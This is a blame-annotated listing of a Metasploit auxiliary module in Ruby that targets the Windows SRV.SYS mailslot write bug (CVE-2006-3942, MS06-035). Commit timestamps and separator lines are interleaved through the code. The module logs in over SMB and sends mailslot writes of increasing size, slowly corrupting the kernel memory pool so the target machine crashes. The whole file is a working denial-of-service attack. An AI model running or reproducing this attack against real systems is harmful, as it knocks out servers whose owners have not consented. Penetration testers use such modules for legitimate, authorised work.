2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-10-02 05:23:59 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-07-11 20:02:45 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2006-07-11 20:02:45 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::SMB
|
2008-11-18 19:56:03 +00:00
|
|
|
include Msf::Auxiliary::Dos
|
2006-07-11 20:02:45 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2006-07-11 20:02:45 +00:00
|
|
|
'Name' => 'Microsoft SRV.SYS Mailslot Write Corruption',
|
|
|
|
'Description' => %q{
|
|
|
|
This module triggers a kernel pool corruption bug in SRV.SYS. Each
|
2010-04-30 08:40:19 +00:00
|
|
|
call to the mailslot write function results in a two byte return value
|
2006-07-11 20:02:45 +00:00
|
|
|
being written into the response packet. The code which creates this packet
|
|
|
|
fails to consider these two bytes in the allocation routine, resulting in
|
2010-04-30 08:40:19 +00:00
|
|
|
a slow corruption of the kernel memory pool. These two bytes are almost
|
2006-07-11 20:02:45 +00:00
|
|
|
always set to "\xff\xff" (a short integer with value of -1).
|
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-07-11 20:02:45 +00:00
|
|
|
'Author' => [ 'hdm' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-07-11 20:02:45 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2006-12-03 23:31:59 +00:00
|
|
|
['BID', '19215'],
|
2010-04-27 21:23:20 +00:00
|
|
|
['OSVDB', '27644'],
|
2006-12-03 23:31:59 +00:00
|
|
|
['CVE', '2006-3942'],
|
|
|
|
['URL', 'http://www.coresecurity.com/common/showdoc.php?idx=562&idxseccion=10'],
|
2006-08-15 02:49:28 +00:00
|
|
|
['MSB', 'MS06-035'],
|
2006-07-11 20:02:45 +00:00
|
|
|
],
|
|
|
|
'Actions' =>
|
|
|
|
[
|
|
|
|
['Attack'],
|
|
|
|
],
|
|
|
|
'DefaultAction' => 'Attack',
|
|
|
|
'DisclosureDate' => 'Jul 11 2006'
|
|
|
|
))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-07-11 20:02:45 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('MAILSLOT', [ true, "The mailslot name to use", 'Alerter']),
|
|
|
|
], self.class)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-07-11 20:02:45 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# MAILSLOT: HydraLsServer
|
|
|
|
# MAILSLOT: Messngr
|
|
|
|
# MAILSLOT: 53cb31a0\\UnimodemNotifyTSP
|
|
|
|
|
|
|
|
def run
|
|
|
|
|
|
|
|
case action.name
|
|
|
|
when 'Attack'
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-07-11 20:02:45 +00:00
|
|
|
print_status("Mangling the kernel, two bytes at a time...");
|
|
|
|
|
|
|
|
connect
|
|
|
|
smb_login
|
|
|
|
|
|
|
|
1.upto(1024) do |i|
|
|
|
|
|
|
|
|
if (i % 100 == 0)
|
2008-12-19 07:11:08 +00:00
|
|
|
print_status("Sending request containing #{i} bytes...")
|
2006-07-11 20:02:45 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
begin
|
|
|
|
self.simple.client.trans_mailslot("\\MAILSLOT\\"+datastore['MAILSLOT'], "X" * i)
|
|
|
|
|
|
|
|
rescue ::Interrupt
|
|
|
|
return
|
|
|
|
|
|
|
|
rescue ::Exception => e
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
if (i == 1)
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error("Failed to write any data to the mailslot: #{e}")
|
2006-07-11 20:02:45 +00:00
|
|
|
break
|
|
|
|
end
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error("Exception occurred on interation #{i}")
|
2010-09-20 08:06:27 +00:00
|
|
|
print_error("Error: #{e.class} > #{e}")
|
2006-07-11 20:02:45 +00:00
|
|
|
break
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# Errors:
|
|
|
|
# 0xc0000034 = object not found
|
2010-04-30 08:40:19 +00:00
|
|
|
# 0xc0000205 = insufficient resources (too much data)
|
|
|
|
|
2006-07-11 20:02:45 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2008-11-18 19:56:03 +00:00
|
|
|
end
|